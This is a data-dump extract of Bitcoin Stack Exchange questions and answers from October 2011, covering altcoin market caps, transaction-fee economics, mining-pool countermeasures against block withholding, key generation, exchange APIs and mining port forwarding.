  <row Id="1385" PostTypeId="1" AcceptedAnswerId="9167" CreationDate="2011-10-06T15:07:55.753" Score="6" ViewCount="787" Body="&lt;p&gt;Ideally, I'd like to see a pie chart with the whole pie being &amp;quot;Bitcoin-derived cryptocurrencies&amp;quot;, and each major alternative represented as a market cap in Bitcoins and USD.&lt;/p&gt;&#xA;&lt;p&gt;Currently, from what I gather we have:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Bitcoin&lt;/strong&gt; - 7,415,750 BTC = $34,854,025 = 99.7%&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Namecoin&lt;/strong&gt; - 959,150 NMC = 25,897 BTC = $121,716 = 0.3%&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I don't know where to get data on other cryptocurrencies right now, and if they even have any significant market cap.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="85224" LastEditDate="2021-03-04T09:24:30.057" LastActivityDate="2021-03-04T09:24:30.057" Title="Is there an easy way to check out the market cap of the alternative cryptocurrencies?" Tags="|alternatives|" AnswerCount="4" CommentCount="2" ClosedDate="2021-03-04T11:16:40.427" ContentLicense="CC BY-SA 4.0" />
  <row Id="1386" PostTypeId="2" ParentId="1384" CreationDate="2011-10-06T16:07:54.383" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://btc-e.com/&quot; rel=&quot;nofollow&quot;&gt;BTC-E.com&lt;/a&gt; currently supports trading pairs of BTC/USD, GG/BTC, SC/BTC, SC/USD and TBX/BTC. At the moment I believe it is the only exchange currently supporting Tenebrix.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-10-06T16:07:54.383" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1387" PostTypeId="2" ParentId="876" CreationDate="2011-10-06T21:06:23.700" Score="21" Body="&lt;p&gt;There are a lot of unknowns because the network is so young and transaction volume is so low.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently the block reward is worth about $13.1 million annually.  If fees stabilized at 0.1% of transaction volume (compare that to 3%+ for cc/debit/paypal) it would require a transaction volume of ~ $13 billion for fees to someday generate the same global revenue as current block rewards. To put that into perspective, credit &amp;amp; Debit cards have an annual transaction volume of ~ $2.5 trillion.  Paypal has ~ $80 billion in transactions per year so this level of transaction volume is certainly possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The larger issue is that under current protocol rules fees will never stabilize at 0.1% (or any other meaningful percentage) of transaction volume.  The reason is that currently there is no disincentive for a miner to exclude any paying transaction unless the block is already full of higher paying transactions.  A transaction can become a paying transaction by merely including 1 satoshi with every transaction which even on a 1 BTC transaction is only 0.0000001% not 0.1%.  For larger transactions it becomes infinitesimally small.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no method to create granularity because fees can be arbitrarily small and miners should logically not exclude a paying transaction.  The current transaction fee system is simply not viable once block rewards (subsidies) are removed.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to look at it is the current network costs about $13 million per year to run or roughly $20 per block per TerraHash (TH).  That cost is paid via subisides but that isn't a viable long term strategy.  Someday it will need to be paid for with fees.  If the amount of fees collected are higher than the network will be larger/stronger.  If the amount collected is smaller then the network will be smaller/weaker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember Moore's law doesn't make the network stronger.  As miner's hardware becomes more efficient so does attacker's hardware.  The network needs to generate sufficient fees to remain strong not just increase nominal hashing power due to efficiency gains.  The current transaction fee system doesn't achieve that goal.  It will need to be changed.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2011-11-08T18:08:26.793" LastActivityDate="2011-11-08T18:08:26.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1388" PostTypeId="2" ParentId="1338" CreationDate="2011-10-06T21:11:37.940" Score="6" Body="&lt;p&gt;A &quot;check block&quot; and &quot;block found reward&quot; combined are an effective counter measure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once a &quot;good&quot; miner reports a valid block the pool operator could resend it to other members of the pool (maybe random % of pool, maybe pool members who are &quot;unlucky&quot; , etc).  As others have indicated if you sent it to entire pool that would be detectable by bad miners so pool would need to experiment with what fraction of pool is the best countermeasure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pool operator knows this header (with this specific extra nonce) is valid.  If a miner reports it as invalid he is suspicious.  If he keeps doing it then he is an attacker and the pool bans him and seizes his funds.  Most pools hold 120 blocks worth of rewards as unconfirmed meaning the attacker risks losing more than one block worth of compensation everytime he cheats.  To avoid bad morale the pool operator could split the siezed funds among &quot;good miners&quot; to compensate them for the times when bad &quot;miners&quot; are not caught. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another method which can be combined with the check block is to provide a &quot;block found reward&quot;.  Collect an x% fee from all miners and award the miner who finds the block this fee.  In the long run this fee has no cost to miners (they will receive as much as they payout).  That puts a financial gain on finding a block.  This increases the revenue loss an attacker will incur by witholding blocks.  That combined with risk of getting caught and losing all unconfirmed rewards should be sufficient to make block witholding punitively expensive for the attacker.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2011-10-28T13:28:50.330" LastActivityDate="2011-10-28T13:28:50.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1389" PostTypeId="1" AcceptedAnswerId="1392" CreationDate="2011-10-06T21:28:41.810" Score="30" ViewCount="19357" Body="&lt;p&gt;I understand the high level concept I am more interested specific details.   How is a private key generated.  How exactly is public key generated, how is address generated from public key.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="5406" LastEditDate="2017-07-01T19:15:57.957" LastActivityDate="2017-07-01T19:15:57.957" Title="How are public &amp; private keys in an address created?" Tags="|address|private-key|public-key|address-generation|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1391" PostTypeId="2" ParentId="1389" CreationDate="2011-10-06T23:18:15.730" Score="4" Body="&lt;p&gt;The Javascript code from: &lt;a href=&quot;http://www.bitaddress.org&quot; rel=&quot;nofollow&quot;&gt;http://www.bitaddress.org&lt;/a&gt; might give you a good example of this as well.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2011-10-06T23:18:15.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1392" PostTypeId="2" ParentId="1389" CreationDate="2011-10-06T23:20:13.297" Score="10" Body="&lt;p&gt;The public and private keys in a Bitcoin address are a normal &lt;a href=&quot;http://en.wikipedia.org/wiki/Elliptic_Curve_DSA&quot;&gt;ECDSA&lt;/a&gt; key pair. I haven't poked through this particular bit of Bitcoin's own code but the offshoot products I've had a chance to work with typically use the &lt;a href=&quot;http://www.bouncycastle.org&quot;&gt;Bouncy Castle&lt;/a&gt; crypto library. Bouncy Castle also has an &lt;a href=&quot;http://www.bouncycastle.org/wiki/display/JA1/Elliptic+Curve+Key+Pair+Generation+and+Key+Factories&quot;&gt;excellent introduction/tutorial&lt;/a&gt; on how to use their library. Their examples are in Java but it's fairly simple and should be easily ported to other languages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also an excellent &lt;a href=&quot;http://www-cs-students.stanford.edu/~tjw/jsbn/&quot;&gt;pre-written library&lt;/a&gt; for JavaScript key generation available from Tom Wu under the BSD license.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-10-06T23:20:13.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1393" PostTypeId="1" AcceptedAnswerId="2602" CreationDate="2011-10-06T23:44:29.240" Score="5" ViewCount="2587" Body="&lt;p&gt;BTC-E appears to have an API available at &lt;a href=&quot;https://btc-e.com/api/1/ticker&quot;&gt;https://btc-e.com/api/1/ticker&lt;/a&gt; but this only lists the BTC/USD pair data. They also offer pairs of BTC against alternate currencies like Ixcoin and Tenebrix. I've tried the obvious stuff a la &lt;a href=&quot;https://btc-e.com/api/2/ticker&quot;&gt;https://btc-e.com/api/&lt;strong&gt;2&lt;/strong&gt;/ticker&lt;/a&gt; but no dice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll take an API from any other multi-currency exchange as well, really I just need a way to grab price easily from code without having to scrape HTML and deal with regex.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2012-02-21T13:06:02.650" Title="Does BTC-E have an API for alternate currencies?" Tags="|development|exchanges|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1394" PostTypeId="2" ParentId="1385" CreationDate="2011-10-06T23:48:30.517" Score="2" Body="&lt;p&gt;At the moment I don't believe there is any such site. It wouldn't be too hard to create, I might even do it myself, I just need to find a good data source for pricing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The coin counts can be found easily here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockexplorer.sytes.net/chain/Bitcoin/q/totalbc&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockexplorer.sytes.net/chain/Fairbrix/q/totalbc&quot; rel=&quot;nofollow noreferrer&quot;&gt;Fairbrix&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockexplorer.sytes.net/chain/GeistGeld/q/totalbc&quot; rel=&quot;nofollow noreferrer&quot;&gt;GeistGeld&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockexplorer.sytes.net/chain/I0coin/q/totalbc&quot; rel=&quot;nofollow noreferrer&quot;&gt;I0coin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockexplorer.sytes.net/chain/Ixcoin/q/totalbc&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ixcoin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockexplorer.sytes.net/chain/Namecoin/q/totalbc&quot; rel=&quot;nofollow noreferrer&quot;&gt;Namecoin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockexplorer.sytes.net/chain/SolidCoin/q/totalbc&quot; rel=&quot;nofollow noreferrer&quot;&gt;SolidCoin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockexplorer.sytes.net/chain/Tenebrix/q/totalbc&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tenebrix&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Given an API to pull price data from, calculating the numbers would be trivial, after which it's just a matter of how pretty a chart you'd like. I have a question &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1393/does-btc-e-have-an-api-for-alternate-currencies&quot;&gt;here&lt;/a&gt; if anyone knows of such a data source at which point I'd be happy to whip up just such a chart.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2011-10-06T23:48:30.517" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1395" PostTypeId="2" ParentId="13" CreationDate="2011-10-07T07:58:13.257" Score="4" Body="&lt;p&gt;Bitcoins are economical to buy from many different currencies (ie the conversion fees are low), so they have the potential to make many financial &amp;amp; retailing tools available to a much larger audience. This could include stocks, bonds, commodities as well as traditional retail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoins also have the potential to change the way artists (in a very broad sense) earn their money. Imagine if the &quot;Like&quot; or &quot;+1&quot; button also donated 0.0001 bitcoins to the author of the content. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at &lt;a href=&quot;http://www.humblebundle.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.humblebundle.com/&lt;/a&gt; (or get &lt;a href=&quot;http://en.wikipedia.org/wiki/Humble_bundle&quot; rel=&quot;nofollow&quot;&gt;a summary of what it's about from wikipedia&lt;/a&gt;) to see the power of voluntary donations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regardless of the effect on GDP, surely this has got to be beneficial for humanity, which is essentially what economists use changes in GDP try to measure anyway.&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2011-10-07T07:58:13.257" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1396" PostTypeId="1" AcceptedAnswerId="1397" CreationDate="2011-10-07T08:16:03.473" Score="5" ViewCount="1116" Body="&lt;p&gt;Is the block reward for Namecoin halving scheduled the same way as Bitcoin, or is there a different schedule?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="10658" LastEditDate="2023-10-25T21:56:59.770" LastActivityDate="2023-10-25T21:56:59.770" Title="How many Namecoins are generated per block?" Tags="|namecoin|" AnswerCount="1" CommentCount="0" ClosedDate="2023-10-26T00:11:40.843" ContentLicense="CC BY-SA 4.0" />
  <row Id="1397" PostTypeId="2" ParentId="1396" CreationDate="2011-10-07T09:46:10.557" Score="10" Body="&lt;p&gt;Yes, it's 50, as documented here:&#xA;&lt;a href=&quot;http://www.bluishcoder.co.nz/2011/05/12/namecoin-a-dns-alternative-based-on-bitcoin.html&quot; rel=&quot;noreferrer&quot;&gt;http://www.bluishcoder.co.nz/2011/05/12/namecoin-a-dns-alternative-based-on-bitcoin.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reward for solving a block will &lt;a href=&quot;http://dot-bit.org/FAQ#What_are_the_similarities_with_Bitcoin.3F&quot; rel=&quot;noreferrer&quot;&gt;halve every 210,000 blocks (around 4 yrs), like Bitcoins&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When namecoins are spent to register a domain name, they are destroyed. More details here:&#xA;&lt;a href=&quot;https://github.com/vinced/namecoin/blob/master/FAQ.md&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/vinced/namecoin/blob/master/FAQ.md&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that even though the mining reward remains constant, the network fee to register a domain goes down quickly over time. Quote: &quot;The network fee is initially high, but will be negligible after a couple of years. It is used to slow down the initial registration rate so that plenty of desirable names are left for late adopters.&quot;&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="516" LastEditDate="2011-12-28T19:28:39.987" LastActivityDate="2011-12-28T19:28:39.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1398" PostTypeId="1" AcceptedAnswerId="1403" CreationDate="2011-10-07T09:49:48.687" Score="2" ViewCount="252" Body="&lt;p&gt;Does anyone know of any good book/paper/article comparing the inflatory and deflatory economies? I would like to know if there are any scientific publications on the matter that are approachable to non-economists (I`m a computer science student). I need it as a source for background information for my master thesis.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2021-03-06T19:03:53.030" LastActivityDate="2021-03-06T19:03:53.030" Title="Inflatory and deflatory economy comparison" Tags="|economic-theory|bitcoin-economy|academic-research|" AnswerCount="1" CommentCount="8" ClosedDate="2011-10-10T14:34:56.490" ContentLicense="CC BY-SA 3.0" />
  <row Id="1399" PostTypeId="2" ParentId="1385" CreationDate="2011-10-07T14:05:27.563" Score="5" Body="&lt;p&gt;Introducing ... &lt;a href=&quot;http://bitcoinpie.com/&quot;&gt;Bitcoin Pie&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Supported Coins are Bitcoin, Tenebrix, NameCoin and SolidCoin. If your favorite coin is not supported, point me towards an active exchange (with or without an API), and a block explorer, and I'll integrate it.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="78" LastEditDate="2011-10-07T15:29:10.843" LastActivityDate="2011-10-07T15:29:10.843" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1400" PostTypeId="1" AcceptedAnswerId="1404" CreationDate="2011-10-07T14:12:11.473" Score="5" ViewCount="8099" Body="&lt;p&gt;It does not seem to be necessary but does it help to use port forwarding for pooled mining? I mean forwarding the same port as the pool port on the incoming side of my router to the rig.&lt;/p&gt;&#xA;" OwnerUserId="257" LastEditorUserId="5406" LastEditDate="2016-01-27T16:41:20.980" LastActivityDate="2016-01-27T16:41:20.980" Title="Port forwarding for pooled mining?" Tags="|mining-pools|port|miner-configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1401" PostTypeId="2" ParentId="1400" CreationDate="2011-10-07T14:26:10.563" Score="2" Body="&lt;p&gt;Port negotiations for mining occur via the same protocols as connecting to a web server, which means the port on which your system listens for return data is not the same as the port the pool is listening on, nor is it the same port every time. Forwarding the pool's port to a single machine will do absolutely nothing.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-10-07T14:26:10.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1402" PostTypeId="2" ParentId="1393" CreationDate="2011-10-07T16:06:03.933" Score="1" Body="&lt;p&gt;I didn't find a working API, if all you need is the price then you can just parse their html. I just &lt;a href=&quot;https://github.com/ripper234/Bitcoin-Pie/&quot; rel=&quot;nofollow&quot;&gt;used&lt;/a&gt; these regexes for the min/max prices and averaged them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;span id='min_price'&amp;gt;(\\d+(?:\\.)\\d+)&#xA;&amp;lt;span id='max_price'&amp;gt;(\\d+(?:\\.)\\d+)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="78" LastActivityDate="2011-10-07T16:06:03.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1403" PostTypeId="2" ParentId="1398" CreationDate="2011-10-07T16:09:13.273" Score="1" Body="&lt;p&gt;This topic on bitcointalk forum might be a good place to start: &#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=11627.0&quot; rel=&quot;nofollow&quot;&gt;Deflation and Bitcoin, the last word on this forum&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2011-10-07T16:09:13.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1404" PostTypeId="2" ParentId="1400" CreationDate="2011-10-07T16:30:54.813" Score="3" Body="&lt;p&gt;When the miner needs work, it contacts the pool. So the miner makes the connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only time the pool needs to contact the miner is when a new block is found, to invalidate existing work units so the miner doesn't waste time finishing a work unit when the block wouldn't be accepted anyway. But this case is handled with long polling -- the miner keeps an open outbound connection to the pool manager at all times to receive this notification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there is no need to forward the port, and such a forward would never be used anyway. The mining program isn't listening for inbound connections.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-10-07T16:30:54.813" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1405" PostTypeId="1" CreationDate="2011-10-07T16:48:43.517" Score="5" ViewCount="5537" Body="&lt;p&gt;Are there any requirements to Bitcoin exchanges [USD/EUR/etc], as to for what the [USD/EUR/etc] may be used? Or is the [USD/EUR/etc] received property of issuer of bitcoins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, this is not decribed anywhere.&lt;/p&gt;&#xA;" OwnerUserId="544" LastEditorUserId="196" LastEditDate="2011-10-09T06:53:26.537" LastActivityDate="2021-06-07T22:59:28.480" Title="What happens to cash used to buy bitcoins?" Tags="|bitcoin-economy|exchanges|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1406" PostTypeId="2" ParentId="1405" CreationDate="2011-10-07T17:30:40.463" Score="4" Body="&lt;p&gt;Exchanges just bring buyers and sellers together. Generally speaking, they have no legitimate interest in what the buyer does with the Bitcoins or what the seller does with the money. If you buy a bicycle on eBay, should eBay care why you want the bicycle, where you got the money to buy the bicycle, why the seller wants to sell the bicycle, or what the seller is going to do with the money?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your use of the word &lt;em&gt;issuer&lt;/em&gt; suggests that you may not quite understand how Bitcoins are produced in the first place. Bitcoins are generated when new blocks are &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/148/what-exactly-is-mining&quot;&gt;mined&lt;/a&gt;, with a (currently) 50 Bitcoin 'reward' going to the miner who mined the block. This reward compensates for the costs associated with maintaining and securing the Bitcoin public &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/168/what-is-the-blockchain&quot;&gt;block chain&lt;/a&gt; which publishes the transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, of course, the seller may or may not have personally mined the Bitcoins they're selling. It's also possible they received them in exchange for something else.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2011-10-07T17:30:40.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1407" PostTypeId="1" AcceptedAnswerId="1414" CreationDate="2011-10-07T17:49:56.257" Score="3" ViewCount="151" Body="&lt;p&gt;I'm fairly proficient in C++ and wondered if the tenebrix client was safe to use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if I wanted to review the code myself, are there any warning signs I should look for without studying the code in detail?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2011-10-08T21:07:10.213" Title="Is the tenebrix client safe?" Tags="|security|tenebrix|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1408" PostTypeId="2" ParentId="1405" CreationDate="2011-10-07T17:53:41.917" Score="18" Body="&lt;p&gt;Bitcoin exchanges, like stock exchanges, act as a middleman for people that want to trade bitcoins. They do not sell/buy their own bitcoins or US Dollars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose that I have 10 bitcoins and I want to sell them at $5 each. In order to do that, I can use a bitcoin exchange and put a sell order at $5 for 10 coins. This is a way of &quot;announcing to the world&quot; that I will sell 10 coins to anyone who is willing to pay me $50. If you want to buy them, just login to the exchange and put a buy order at $5. The exchange will match our orders and I will receive your $50 and you will receive my 10 bitcoins.&lt;br&gt;&#xA;When a buy order matches a sell order, a trade is made. This is how the bitcoin price is defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now suppose that you want to buy bitcoins, but you are only willing to pay $4.9 for each bitcoin. You will put your buy order at $4.9, but it will not match mine because I only sell if you pay me $5 per coin. The amount of pending orders defines market depth. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, you can see &lt;a href=&quot;http://bitcoincharts.com/markets/mtgoxUSD_depth.html&quot;&gt;here&lt;/a&gt; the market depth for MtGox. The bids table show the price people are willing to buy at and the asks table show price people are selling at. &lt;a href=&quot;http://mtgoxlive.com/orders&quot;&gt;MtGox Live&lt;/a&gt; is also a nice way to visualize these concepts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that bitcoin exchanges charge a small fee (currently around 0.5%) each time they match an order. So in the previous example I would receive $49.75 and you would receive 9.95 bitcoins. The rest is kept by the exchange for their services.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2011-10-07T17:53:41.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1409" PostTypeId="1" CreationDate="2011-10-07T17:55:42.417" Score="5" ViewCount="689" Body="&lt;p&gt;I understand Bitcoin software can be used for private currencies. Can it be used to create a private currency (the NewCurrency) where there is only one issuer of NewCurrency and any monies raised are invested. So that investments &quot;belong&quot; to the holders of the NewCurrency, and any returns on the investments benefit the holders of the NewCurrency (i.e. improve exchange rates against other currencies). Issuer of NewCurrency can quote the net asset value of the investments daily (like for open ended funds), which supports the value (i.e. exchange rate) of the NewCurrency?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does Bitcoin software/infrastructure support implementation of this?&lt;/p&gt;&#xA;" OwnerUserId="544" LastEditorUserId="196" LastEditDate="2011-10-09T06:53:33.213" LastActivityDate="2011-10-10T16:54:51.143" Title="Can Bitcoin software be used to create a private currency (single issuer)" Tags="|bitcoin-economy|currencies|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1410" PostTypeId="2" ParentId="1407" CreationDate="2011-10-07T19:19:50.237" Score="0" Body="&lt;p&gt;If you're competent at coding my best advice would be to go through the code. Without knowing how it's done it's hard to say what to look for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's built from Multicoin - I use Tenebrix and have had no trouble. On top of that I have not heard of an issue of this kind.&lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="105" LastEditDate="2011-10-08T21:07:10.213" LastActivityDate="2011-10-08T21:07:10.213" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1411" PostTypeId="2" ParentId="1409" CreationDate="2011-10-07T19:25:45.333" Score="1" Body="&lt;p&gt;this IS possible to do with bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a new genesis block. Total number of coins to produce that can be produced within the first block. Dont release the client and refuse incoming connections. mining after this will only process transactiosn ofcourse, but that is all you want anyway. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Viola. One man blockchain.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2011-10-07T19:25:45.333" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1412" PostTypeId="2" ParentId="1409" CreationDate="2011-10-07T20:26:19.390" Score="7" Body="&lt;p&gt;If I understand you correctly, the answer is yes. You could use a Bitcoin-like system simply to track the movement of 'shares' or 'units'. All the 'coins' could start out pre-mined, and the system's sole purpose could be to track the movement of those units.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there would be a lot of reasons why this would be a bad idea. The primary one is this: the Bitcoin system makes a lot of trade-offs to get the benefit of decentralization (nobody needs to trust anyone else at all ever). If you want to have one central authority anyway, you are trading off all those things for nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Securing the block chain requires sufficient hashing power such that a malicious organization can't easily muster 51% of it. So to keep the system secure on a day-to-day basis, you'd need some way to fund that massive amount of computing power. It's hard to see what benefit you'd get back for that cost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are systems, even cryptographic ones with similar properties, that are more suitable for a centralized currency. The basic design change would be that instead of having a block chain, you'd simply have the central authority (or authorities) sign all transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I had 50 units of this currency, I could request a signed and dated statement from the central authority saying that I had those coins and showing my public key. If I want to transfer 10 units to you, I make a signed statement saying so and get the central authority to sign it. You can now prove you have those 10 coins with that signed statement. I can prove I have 40 coins by showing the signed statements and the central authority can't argue I made a transaction I didn't make because I have to sign them. So you get the same security properties and don't need all the CPU power.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-10-07T21:42:37.393" LastActivityDate="2011-10-07T21:42:37.393" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1413" PostTypeId="1" AcceptedAnswerId="1417" CreationDate="2011-10-07T21:39:16.700" Score="4" ViewCount="1368" Body="&lt;p&gt;I'm writing a Bitcoin web app that is to be deployed on an external server over which I have no control. I probably won't have access to standard Bitcoin port (8333). Will this cause a problem when connecting to standard Bitcoin clients, or can they handle communicating with a non-standard port number? Are there any Bitcoin-related applications that also use other ports to communicate (like a pool or the like)?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="47827" LastEditDate="2022-05-30T10:58:38.933" LastActivityDate="2022-05-30T10:58:38.933" Title="Bitcoin communication with non-standard ports" Tags="|bitcoin-core|protocol|p2p|port|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1414" PostTypeId="2" ParentId="1407" CreationDate="2011-10-07T21:41:38.987" Score="5" Body="&lt;p&gt;There are a lot of people who are hostile to any new crypto-currency, usually because of their vested interest in previous currencies. They tend to audit any new currency's code, looking for things that can embarrass the developers. There's a very good chance that any back door or serious problem would be widely publicized on sites like the Bitcoin forums.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can certainly audit the changes yourself. Find the closest trusted code base (the one the code you're trying to evaluate is based on), and run a &lt;code&gt;diff&lt;/code&gt;. Then look closely at all changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can rely on the wisdom of crowds. Just wait at least a week or so before accepting any updates published by the development team. And search forums likely to be hostile to that project, such as the Bitcoin forums.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-10-07T21:41:38.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1415" PostTypeId="1" AcceptedAnswerId="1420" CreationDate="2011-10-07T22:00:30.970" Score="9" ViewCount="3391" Body="&lt;p&gt;Ideally would be able to make a bootable usb with a lightweight linux os which already included the bitcoin client. &lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="5406" LastEditDate="2014-02-09T10:22:04.033" LastActivityDate="2014-02-09T10:22:04.033" Title="Are there any linux distros that have the bitcoin client pre-included?" Tags="|client|linux|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
